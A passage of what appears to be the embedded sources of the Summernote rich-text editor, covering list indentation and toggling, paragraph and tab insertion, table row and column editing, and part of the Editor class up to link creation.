paras) => {\n      const head = lists.head(paras);\n      if (dom.isLi(head)) {\n        this.wrapList(paras, head.parentNode.nodeName);\n      } else {\n        $.each(paras, (idx, para) => {\n          $(para).css('marginLeft', (idx, val) => {\n            return (parseInt(val, 10) || 0) + 25;\n          });\n        });\n      }\n    });\n\n    rng.select();\n  }\n\n  /**\n   * outdent\n   */\n  outdent(editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    const paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      if (dom.isLi(head)) {\n        this.releaseList([paras]);\n      } else {\n        $.each(paras, (idx, para) => {\n          $(para).css('marginLeft', (idx, val) => {\n            val = (parseInt(val, 10) || 0);\n            return val > 25 ? val - 25 : '';\n          });\n        });\n      }\n    });\n\n    rng.select();\n  }\n\n  /**\n   * toggle list\n   *\n   * @param {String} listName - OL or UL\n   */\n  toggleList(listName, editable) {\n    const rng = range.create(editable).wrapBodyInlineWithPara();\n\n    let paras = rng.nodes(dom.isPara, { includeAncestor: true });\n    const bookmark = rng.paraBookmark(paras);\n    const clustereds = lists.clusterBy(paras, func.peq2('parentNode'));\n\n    // paragraph to list\n    if (lists.find(paras, dom.isPurePara)) {\n      let wrappedParas = [];\n      $.each(clustereds, (idx, paras) => {\n        wrappedParas = wrappedParas.concat(this.wrapList(paras, listName));\n      });\n      paras = wrappedParas;\n    // list to paragraph or change list style\n    } else {\n      const diffLists = rng.nodes(dom.isList, {\n        includeAncestor: true\n      }).filter((listNode) => {\n        return !$.nodeName(listNode, listName);\n      });\n\n      if (diffLists.length) {\n        $.each(diffLists, (idx, listNode) => {\n          dom.replace(listNode, listName);\n        });\n      } else {\n        paras = this.releaseList(clustereds, true);\n      }\n    }\n\n    range.createFromParaBookmark(bookmark, paras).select();\n  }\n\n  /**\n   * @param {Node[]} paras\n   * @param {String} listName\n   * @return {Node[]}\n   */\n  wrapList(paras, listName) {\n    const head = lists.head(paras);\n    const last = lists.last(paras);\n\n    const prevList = dom.isList(head.previousSibling) && head.previousSibling;\n    const nextList = dom.isList(last.nextSibling) && last.nextSibling;\n\n    const listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);\n\n    // P to LI\n    paras = paras.map((para) => {\n      return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;\n    });\n\n    // append to list(<ul>, <ol>)\n    dom.appendChildNodes(listNode, paras);\n\n    if (nextList) {\n      dom.appendChildNodes(listNode, lists.from(nextList.childNodes));\n      dom.remove(nextList);\n    }\n\n    return paras;\n  }\n\n  /**\n   * @method releaseList\n   *\n   * @param {Array[]} clustereds\n   * @param {Boolean} isEscapseToBody\n   * @return {Node[]}\n   */\n  releaseList(clustereds, isEscapseToBody) {\n    let releasedParas = [];\n\n    $.each(clustereds, (idx, paras) => {\n      const head = lists.head(paras);\n      const last = lists.last(paras);\n\n      const headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;\n      const lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {\n        node: last.parentNode,\n        offset: dom.position(last) + 1\n      }, {\n        isSkipPaddingBlankHTML: true\n      }) : null;\n\n      const middleList = dom.splitTree(headList, {\n        node: head.parentNode,\n        offset: dom.position(head)\n      }, {\n        isSkipPaddingBlankHTML: true\n      });\n\n      paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)\n        : lists.from(middleList.childNodes).filter(dom.isLi);\n\n      // LI to P\n      if (isEscapseToBody || !dom.isList(headList.parentNode)) {\n        paras = paras.map((para) => {\n          return dom.replace(para, 'P');\n        });\n      }\n\n      $.each(lists.from(paras).reverse(), (idx, para) => {\n        dom.insertAfter(para, headList);\n      });\n\n      // remove empty lists\n      const rootLists = lists.compact([headList, middleList, lastList]);\n      $.each(rootLists, (idx, rootList) => {\n        const listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));\n        $.each(listNodes.reverse(), (idx, listNode) => {\n          if (!dom.nodeLength(listNode)) {\n            dom.remove(listNode, true);\n          }\n        });\n      });\n\n      releasedParas = releasedParas.concat(paras);\n    });\n\n    return releasedParas;\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport Bullet from '../editing/Bullet';\n\n/**\n * @class editing.Typing\n *\n * Typing\n *\n */\nexport default class Typing {\n  constructor() {\n    // a Bullet instance to toggle lists off\n    this.bullet = new Bullet();\n  }\n\n  /**\n   * insert tab\n   *\n   * @param {WrappedRange} rng\n   * @param {Number} tabsize\n   */\n  insertTab(rng, tabsize) {\n    const tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));\n    rng = rng.deleteContents();\n    rng.insertNode(tab, true);\n\n    rng = range.create(tab, tabsize);\n    rng.select();\n  }\n\n  /**\n   * insert paragraph\n   */\n  insertParagraph(editable) {\n    let rng = range.create(editable);\n\n    // deleteContents on range.\n    rng = rng.deleteContents();\n\n    // Wrap range if it needs to be wrapped by paragraph\n    rng = rng.wrapBodyInlineWithPara();\n\n    // finding paragraph\n    const splitRoot = dom.ancestor(rng.sc, dom.isPara);\n\n    let nextPara;\n    // on paragraph: split paragraph\n    if (splitRoot) {\n      // if it is an empty line with li\n      if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {\n        // toogle UL/OL and escape\n        this.bullet.toggleList(splitRoot.parentNode.nodeName);\n        return;\n      // if it is an empty line with para on blockquote\n      } else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {\n        // escape blockquote\n        dom.insertAfter(splitRoot, splitRoot.parentNode);\n        nextPara = splitRoot;\n      // if new line has content (not a line break)\n      } else {\n        nextPara = dom.splitTree(splitRoot, rng.getStartPoint());\n\n        let emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);\n        emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));\n\n        $.each(emptyAnchors, (idx, anchor) => {\n          dom.remove(anchor);\n        });\n\n        // replace empty heading, pre or custom-made styleTag with P tag\n        if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {\n          nextPara = dom.replace(nextPara, 'p');\n        }\n      }\n    // no paragraph: insert empty paragraph\n    } else {\n      const next = rng.sc.childNodes[rng.so];\n      nextPara = $(dom.emptyPara)[0];\n      if (next) {\n        rng.sc.insertBefore(nextPara, next);\n      } else {\n        rng.sc.appendChild(nextPara);\n      }\n    }\n\n    range.create(nextPara, 0).normalize().select().scrollIntoView(editable);\n  }\n}\n","import $ from 'jquery';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport lists from '../core/lists';\n\n/**\n * @class Create a virtual table to create what actions to do in change.\n * @param {object} startPoint Cell selected to apply change.\n * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where\n * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction\n * @param {object} domTable Dom element of table to make changes.\n */\nconst TableResultAction = function(startPoint, where, action, domTable) {\n  const _startPoint = { 'colPos': 0, 'rowPos': 0 };\n  const _virtualTable = [];\n  const _actionCellList = [];\n\n  /// ///////////////////////////////////////////\n  // Private functions\n  /// ///////////////////////////////////////////\n\n  /**\n   * Set the startPoint of action.\n   */\n  function setStartPoint() {\n    if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {\n      console.error('Impossible to identify start Cell point.', startPoint);\n      return;\n    }\n    _startPoint.colPos = startPoint.cellIndex;\n    if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {\n      console.error('Impossible to identify start Row point.', startPoint);\n      return;\n    }\n    _startPoint.rowPos = startPoint.parentElement.rowIndex;\n  }\n\n  /**\n   * Define virtual table position info object.\n   *\n   * @param {int} rowIndex Index position in line of virtual table.\n   * @param {int} cellIndex Index position in column of virtual table.\n   * @param {object} baseRow Row affected by this position.\n   * @param {object} baseCell Cell affected by this position.\n   * @param {bool} isSpan Inform if it is an span cell/row.\n   */\n  function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {\n    const objPosition = {\n      'baseRow': baseRow,\n      'baseCell': baseCell,\n      'isRowSpan': isRowSpan,\n      'isColSpan': isColSpan,\n      'isVirtual': isVirtualCell\n    };\n    if (!_virtualTable[rowIndex]) {\n      _virtualTable[rowIndex] = [];\n    }\n    _virtualTable[rowIndex][cellIndex] = objPosition;\n  }\n\n  /**\n   * Create action cell object.\n   *\n   * @param {object} virtualTableCellObj Object of specific position on virtual table.\n   * @param {enum} resultAction Action to be applied in that item.\n   */\n  function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {\n    return {\n      'baseCell': virtualTableCellObj.baseCell,\n      'action': resultAction,\n      'virtualTable': {\n        'rowIndex': virtualRowPosition,\n        'cellIndex': virtualColPosition\n      }\n    };\n  }\n\n  /**\n   * Recover free index of row to append Cell.\n   *\n   * @param {int} rowIndex Index of row to find free space.\n   * @param {int} cellIndex Index of cell to find free space in table.\n   */\n  function recoverCellIndex(rowIndex, cellIndex) {\n    if (!_virtualTable[rowIndex]) {\n      return cellIndex;\n    }\n    if (!_virtualTable[rowIndex][cellIndex]) {\n      return cellIndex;\n    }\n\n    let newCellIndex = cellIndex;\n    while (_virtualTable[rowIndex][newCellIndex]) {\n      newCellIndex++;\n      if (!_virtualTable[rowIndex][newCellIndex]) {\n        return newCellIndex;\n      }\n    }\n  }\n\n  /**\n   * Recover info about row and cell and add information to virtual table.\n   *\n   * @param {object} row Row to recover information.\n   * @param {object} cell Cell to recover information.\n   */\n  function addCellInfoToVirtual(row, cell) {\n    const cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);\n    const cellHasColspan = (cell.colSpan > 1);\n    const cellHasRowspan = (cell.rowSpan > 1);\n    const isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);\n    setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);\n\n    // Add span rows to virtual Table.\n    const rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;\n    if (rowspanNumber > 1) {\n      for (let rp = 1; rp < rowspanNumber; rp++) {\n        const rowspanIndex = row.rowIndex + rp;\n        adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);\n        setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);\n      }\n    }\n\n    // Add span cols to virtual table.\n    const colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;\n    if (colspanNumber > 1) {\n      for (let cp = 1; cp < colspanNumber; cp++) {\n        const cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));\n        adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);\n        setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);\n      }\n    }\n  }\n\n  /**\n   * Process validation and adjust of start point if needed\n   *\n   * @param {int} rowIndex\n   * @param {int} cellIndex\n   * @param {object} cell\n   * @param {bool} isSelectedCell\n   */\n  function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {\n    if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {\n      _startPoint.colPos++;\n    }\n  }\n\n  /**\n   * Create virtual table of cells with all cells, including span cells.\n   */\n  function createVirtualTable() {\n    const rows = domTable.rows;\n    for (let rowIndex = 0; rowIndex < rows.length; rowIndex++) {\n      const cells = rows[rowIndex].cells;\n      for (let cellIndex = 0; cellIndex < cells.length; cellIndex++) {\n        addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);\n      }\n    }\n  }\n\n  /**\n   * Get action to be applied on the cell.\n   *\n   * @param {object} cell virtual table cell to apply action\n   */\n  function getDeleteResultActionToCell(cell) {\n    switch (where) {\n      case TableResultAction.where.Column:\n        if (cell.isColSpan) {\n          return TableResultAction.resultAction.SubtractSpanCount;\n        }\n        break;\n      case TableResultAction.where.Row:\n        if (!cell.isVirtual && cell.isRowSpan) {\n          return TableResultAction.resultAction.AddCell;\n        } else if (cell.isRowSpan) {\n          return TableResultAction.resultAction.SubtractSpanCount;\n        }\n        break;\n    }\n    return TableResultAction.resultAction.RemoveCell;\n  }\n\n  /**\n   * Get action to be applied on the cell.\n   *\n   * @param {object} cell virtual table cell to apply action\n   */\n  function getAddResultActionToCell(cell) {\n    switch (where) {\n      case TableResultAction.where.Column:\n        if (cell.isColSpan) {\n          return TableResultAction.resultAction.SumSpanCount;\n        } else if (cell.isRowSpan && cell.isVirtual) {\n          return TableResultAction.resultAction.Ignore;\n        }\n        break;\n      case TableResultAction.where.Row:\n        if (cell.isRowSpan) {\n          return TableResultAction.resultAction.SumSpanCount;\n        } else if (cell.isColSpan && cell.isVirtual) {\n          return TableResultAction.resultAction.Ignore;\n        }\n        break;\n    }\n    return TableResultAction.resultAction.AddCell;\n  }\n\n  function init() {\n    setStartPoint();\n    createVirtualTable();\n  }\n\n  /// ///////////////////////////////////////////\n  // Public functions\n  /// ///////////////////////////////////////////\n\n  /**\n   * Recover array os what to do in table.\n   */\n  this.getActionList = function() {\n    const fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;\n    const fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;\n\n    let actualPosition = 0;\n    let canContinue = true;\n    while (canContinue) {\n      const rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;\n      const colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;\n      const row = _virtualTable[rowPosition];\n      if (!row) {\n        canContinue = false;\n        return _actionCellList;\n      }\n      const cell = row[colPosition];\n      if (!cell) {\n        canContinue = false;\n        return _actionCellList;\n      }\n\n      // Define action to be applied in this cell\n      let resultAction = TableResultAction.resultAction.Ignore;\n      switch (action) {\n        case TableResultAction.requestAction.Add:\n          resultAction = getAddResultActionToCell(cell);\n          break;\n        case TableResultAction.requestAction.Delete:\n          resultAction = getDeleteResultActionToCell(cell);\n          break;\n      }\n      _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));\n      actualPosition++;\n    }\n\n    return _actionCellList;\n  };\n\n  init();\n};\n/**\n*\n* Where action occours enum.\n*/\nTableResultAction.where = { 'Row': 0, 'Column': 1 };\n/**\n*\n* Requested action to apply enum.\n*/\nTableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };\n/**\n*\n* Result action to be executed enum.\n*/\nTableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };\n\n/**\n *\n * @class editing.Table\n *\n * Table\n *\n */\nexport default class Table {\n  /**\n   * handle tab key\n   *\n   * @param {WrappedRange} rng\n   * @param {Boolean} isShift\n   */\n  tab(rng, isShift) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const table = dom.ancestor(cell, dom.isTable);\n    const cells = dom.listDescendant(table, dom.isCell);\n\n    const nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);\n    if (nextCell) {\n      range.create(nextCell, 0).select();\n    }\n  }\n\n  /**\n   * Add a new row\n   *\n   * @param {WrappedRange} rng\n   * @param {String} position (top/bottom)\n   * @return {Node}\n   */\n  addRow(rng, position) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n\n    const currentTr = $(cell).closest('tr');\n    const trAttributes = this.recoverAttributes(currentTr);\n    const html = $('<tr' + trAttributes + '></tr>');\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n      TableResultAction.requestAction.Add, $(currentTr).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let idCell = 0; idCell < actions.length; idCell++) {\n      const currentCell = actions[idCell];\n      const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n      switch (currentCell.action) {\n        case TableResultAction.resultAction.AddCell:\n          html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          break;\n        case TableResultAction.resultAction.SumSpanCount:\n          if (position === 'top') {\n            const baseCellTr = currentCell.baseCell.parent;\n            const isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;\n            if (isTopFromRowSpan) {\n              const newTd = $('<div></div>').append($('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();\n              html.append(newTd);\n              break;\n            }\n          }\n          let rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);\n          rowspanNumber++;\n          currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);\n          break;\n      }\n    }\n\n    if (position === 'top') {\n      currentTr.before(html);\n    } else {\n      const cellHasRowspan = (cell.rowSpan > 1);\n      if (cellHasRowspan) {\n        const lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);\n        $($(currentTr).parent().find('tr')[lastTrIndex]).after($(html));\n        return;\n      }\n      currentTr.after(html);\n    }\n  }\n\n  /**\n   * Add a new col\n   *\n   * @param {WrappedRange} rng\n   * @param {String} position (left/right)\n   * @return {Node}\n   */\n  addCol(rng, position) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const rowsGroup = $(row).siblings();\n    rowsGroup.push(row);\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n      TableResultAction.requestAction.Add, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      const currentCell = actions[actionIndex];\n      const tdAttributes = this.recoverAttributes(currentCell.baseCell);\n      switch (currentCell.action) {\n        case TableResultAction.resultAction.AddCell:\n          if (position === 'right') {\n            $(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          } else {\n            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          }\n          break;\n        case TableResultAction.resultAction.SumSpanCount:\n          if (position === 'right') {\n            let colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);\n            colspanNumber++;\n            currentCell.baseCell.setAttribute('colSpan', colspanNumber);\n          } else {\n            $(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');\n          }\n          break;\n      }\n    }\n  }\n\n  /*\n  * Copy attributes from element.\n  *\n  * @param {object} Element to recover attributes.\n  * @return {string} Copied string elements.\n  */\n  recoverAttributes(el) {\n    let resultStr = '';\n\n    if (!el) {\n      return resultStr;\n    }\n\n    const attrList = el.attributes || [];\n\n    for (let i = 0; i < attrList.length; i++) {\n      if (attrList[i].name.toLowerCase() === 'id') {\n        continue;\n      }\n\n      if (attrList[i].specified) {\n        resultStr += ' ' + attrList[i].name + '=\\'' + attrList[i].value + '\\'';\n      }\n    }\n\n    return resultStr;\n  }\n\n  /**\n   * Delete current row\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteRow(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const cellPos = row.children('td, th').index($(cell));\n    const rowPos = row[0].rowIndex;\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Row,\n      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      if (!actions[actionIndex]) {\n        continue;\n      }\n\n      const baseCell = actions[actionIndex].baseCell;\n      const virtualPosition = actions[actionIndex].virtualTable;\n      const hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);\n      let rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;\n      switch (actions[actionIndex].action) {\n        case TableResultAction.resultAction.Ignore:\n          continue;\n        case TableResultAction.resultAction.AddCell:\n          const nextRow = row.next('tr')[0];\n          if (!nextRow) { continue; }\n          const cloneRow = row[0].cells[cellPos];\n          if (hasRowspan) {\n            if (rowspanNumber > 2) {\n              rowspanNumber--;\n              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n              nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);\n              nextRow.cells[cellPos].innerHTML = '';\n            } else if (rowspanNumber === 2) {\n              nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);\n              nextRow.cells[cellPos].removeAttribute('rowSpan');\n              nextRow.cells[cellPos].innerHTML = '';\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.SubtractSpanCount:\n          if (hasRowspan) {\n            if (rowspanNumber > 2) {\n              rowspanNumber--;\n              baseCell.setAttribute('rowSpan', rowspanNumber);\n              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            } else if (rowspanNumber === 2) {\n              baseCell.removeAttribute('rowSpan');\n              if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.RemoveCell:\n          // Do not need remove cell because row will be deleted.\n          continue;\n      }\n    }\n    row.remove();\n  }\n\n  /**\n   * Delete current col\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteCol(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    const row = $(cell).closest('tr');\n    const cellPos = row.children('td, th').index($(cell));\n\n    const vTable = new TableResultAction(cell, TableResultAction.where.Column,\n      TableResultAction.requestAction.Delete, $(row).closest('table')[0]);\n    const actions = vTable.getActionList();\n\n    for (let actionIndex = 0; actionIndex < actions.length; actionIndex++) {\n      if (!actions[actionIndex]) {\n        continue;\n      }\n      switch (actions[actionIndex].action) {\n        case TableResultAction.resultAction.Ignore:\n          continue;\n        case TableResultAction.resultAction.SubtractSpanCount:\n          const baseCell = actions[actionIndex].baseCell;\n          const hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);\n          if (hasColspan) {\n            let colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;\n            if (colspanNumber > 2) {\n              colspanNumber--;\n              baseCell.setAttribute('colSpan', colspanNumber);\n              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            } else if (colspanNumber === 2) {\n              baseCell.removeAttribute('colSpan');\n              if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; }\n            }\n          }\n          continue;\n        case TableResultAction.resultAction.RemoveCell:\n          dom.remove(actions[actionIndex].baseCell, true);\n          continue;\n      }\n    }\n  }\n\n  /**\n   * create empty table element\n   *\n   * @param {Number} rowCount\n   * @param {Number} colCount\n   * @return {Node}\n   */\n  createTable(colCount, rowCount, options) {\n    const tds = [];\n    let tdHTML;\n    for (let idxCol = 0; idxCol < colCount; idxCol++) {\n      tds.push('<td>' + dom.blank + '</td>');\n    }\n    tdHTML = tds.join('');\n\n    const trs = [];\n    let trHTML;\n    for (let idxRow = 0; idxRow < rowCount; idxRow++) {\n      trs.push('<tr>' + tdHTML + '</tr>');\n    }\n    trHTML = trs.join('');\n    const $table = $('<table>' + trHTML + '</table>');\n    if (options && options.tableClassName) {\n      $table.addClass(options.tableClassName);\n    }\n\n    return $table[0];\n  }\n\n  /**\n   * Delete current table\n   *\n   * @param {WrappedRange} rng\n   * @return {Node}\n   */\n  deleteTable(rng) {\n    const cell = dom.ancestor(rng.commonAncestor(), dom.isCell);\n    $(cell).closest('table').remove();\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport { readFileAsDataURL, createImage } from '../core/async';\nimport History from '../editing/History';\nimport Style from '../editing/Style';\nimport Typing from '../editing/Typing';\nimport Table from '../editing/Table';\nimport Bullet from '../editing/Bullet';\n\nconst KEY_BOGUS = 'bogus';\n\n/**\n * @class Editor\n */\nexport default class Editor {\n  constructor(context) {\n    this.context = context;\n\n    this.$note = context.layoutInfo.note;\n    this.$editor = context.layoutInfo.editor;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    this.editable = this.$editable[0];\n    this.lastRange = null;\n\n    this.style = new Style();\n    this.table = new Table();\n    this.typing = new Typing();\n    this.bullet = new Bullet();\n    this.history = new History(this.$editable);\n\n    this.context.memo('help.undo', this.lang.help.undo);\n    this.context.memo('help.redo', this.lang.help.redo);\n    this.context.memo('help.tab', this.lang.help.tab);\n    this.context.memo('help.untab', this.lang.help.untab);\n    this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);\n    this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);\n    this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);\n    this.context.memo('help.indent', this.lang.help.indent);\n    this.context.memo('help.outdent', this.lang.help.outdent);\n    this.context.memo('help.formatPara', this.lang.help.formatPara);\n    this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);\n    this.context.memo('help.fontName', this.lang.help.fontName);\n\n    // native commands(with execCommand), generate function for execCommand\n    const commands = [\n      'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',\n      'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',\n      'formatBlock', 'removeFormat', 'backColor'\n    ];\n\n    for (let idx = 0, len = commands.length; idx < len; idx++) {\n      this[commands[idx]] = ((sCmd) => {\n        return (value) => {\n          this.beforeCommand();\n          document.execCommand(sCmd, false, value);\n          this.afterCommand(true);\n        };\n      })(commands[idx]);\n      this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);\n    }\n\n    this.fontName = this.wrapCommand((value) => {\n      return this.fontStyling('font-family', \"\\'\" + value + \"\\'\");\n    });\n\n    this.fontSize = this.wrapCommand((value) => {\n      return this.fontStyling('font-size', value + 'px');\n    });\n\n    for (let idx = 1; idx <= 6; idx++) {\n      this['formatH' + idx] = ((idx) => {\n        return () => {\n          this.formatBlock('H' + idx);\n        };\n      })(idx);\n      this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);\n    };\n\n    this.insertParagraph = this.wrapCommand(() => {\n      this.typing.insertParagraph(this.editable);\n    });\n\n    this.insertOrderedList = this.wrapCommand(() => {\n      this.bullet.insertOrderedList(this.editable);\n    });\n\n    this.insertUnorderedList = this.wrapCommand(() => {\n      this.bullet.insertUnorderedList(this.editable);\n    });\n\n    this.indent = this.wrapCommand(() => {\n      this.bullet.indent(this.editable);\n    });\n\n    this.outdent = this.wrapCommand(() => {\n      this.bullet.outdent(this.editable);\n    });\n\n    /**\n     * insertNode\n     * insert node\n     * @param {Node} node\n     */\n    this.insertNode = this.wrapCommand((node) => {\n      if (this.isLimited($(node).text().length)) {\n        return;\n      }\n      const rng = this.createRange();\n      rng.insertNode(node);\n      range.createFromNodeAfter(node).select();\n    });\n\n    /**\n     * insert text\n     * @param {String} text\n     */\n    this.insertText = this.wrapCommand((text) => {\n      if (this.isLimited(text.length)) {\n        return;\n      }\n      const rng = this.createRange();\n      const textNode = rng.insertNode(dom.createText(text));\n      range.create(textNode, dom.nodeLength(textNode)).select();\n    });\n    /**\n     * paste HTML\n     * @param {String} markup\n     */\n    this.pasteHTML = this.wrapCommand((markup) => {\n      if (this.isLimited(markup.length)) {\n        return;\n      }\n      const contents = this.createRange().pasteHTML(markup);\n      range.createFromNodeAfter(lists.last(contents)).select();\n    });\n\n    /**\n     * formatBlock\n     *\n     * @param {String} tagName\n     */\n    this.formatBlock = this.wrapCommand((tagName, $target) => {\n      const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle;\n      if (onApplyCustomStyle) {\n        onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock);\n      } else {\n        this.onFormatBlock(tagName, $target);\n      }\n    });\n\n    /**\n     * insert horizontal rule\n     */\n    this.insertHorizontalRule = this.wrapCommand(() => {\n      const hrNode = this.createRange().insertNode(dom.create('HR'));\n      if (hrNode.nextSibling) {\n        range.create(hrNode.nextSibling, 0).normalize().select();\n      }\n    });\n\n    /**\n     * lineHeight\n     * @param {String} value\n     */\n    this.lineHeight = this.wrapCommand((value) => {\n      this.style.stylePara(this.createRange(), {\n        lineHeight: value\n      });\n    });\n\n    /**\n     * create link (command)\n     *\n     * @param {Object} linkInfo\n     */\n    this.createLink = this.wrapCommand((linkInfo) => {\n      let linkUrl = linkInfo.url;\n      const linkText = linkInfo.text;\n      const isNewWindow = linkInfo.isNewWindow;\n      let rng = linkInfo.range || this.createRange();\n      const isTextChanged = rng.toString() !== linkText;\n\n      // handle spaced urls from input\n      if (typeof linkUrl === 'string') {\n        linkUrl = linkUrl.trim();\n      }\n\n      if (this.options.onCreateLink) {\n        linkUrl = this.options.onCreateLink(linkUrl);\n      } else {\n        // if url doesn't match an URL schema, set http:// as default\n        linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\\:[\\/\\/]?/.test(linkUrl)\n          ? linkUrl : 'http://' + linkUrl;\n      }\n\n      let anchors = [];\n      if (isTextChanged) {\n        rng = rng.deleteContents();\n        const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]);\n        anchors.push(anchor);\n      } else {\n        anchors = this.style.styleNodes(rng, {\n          nodeName: 'A',\n          expandClosestSibling: true,\n          onlyPartialContains: true\n        });\n      }\n\n      $.each(anchors, (idx, anchor) => {\n        $(anchor).attr('href', linkUrl);\n        if (isNewWindow) {\n          $(anchor).attr('target', '_blank');\n        } else {\n          